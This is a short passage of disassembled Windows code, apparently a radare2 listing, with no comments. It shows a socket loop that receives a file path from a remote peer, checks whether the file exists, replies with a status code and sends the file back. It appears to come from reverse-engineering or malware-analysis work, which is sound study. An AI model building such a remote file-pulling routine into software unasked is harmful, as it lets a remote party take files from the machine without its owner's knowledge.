test eax, eax
jne 0x401635
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0
lea rdx, [rbp - 0x60]
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8d, 0x28
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
test eax, eax
jne 0x4017eb
lea rcx, str.hello
call sym.printf
jmp 0x401898
lea rax, [rbp - 0x60]
mov edx, 4
mov rcx, rax
call sym.access
cmp eax, 0xffffffff
jne 0x401826
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8d, 3
lea rdx, [0x00405070]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x401898
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8d, 3
lea rdx, [0x00405073]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp eax, 0xffffffff
je 0x401891
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, str.Path:__s_n
call sym.printf
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.sendFile
test eax, eax
je 0x401897
lea rax, [rbp - 0x60]
mov r8d, 0x28
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x401635
nop
jmp 0x401635
nop
jmp 0x401635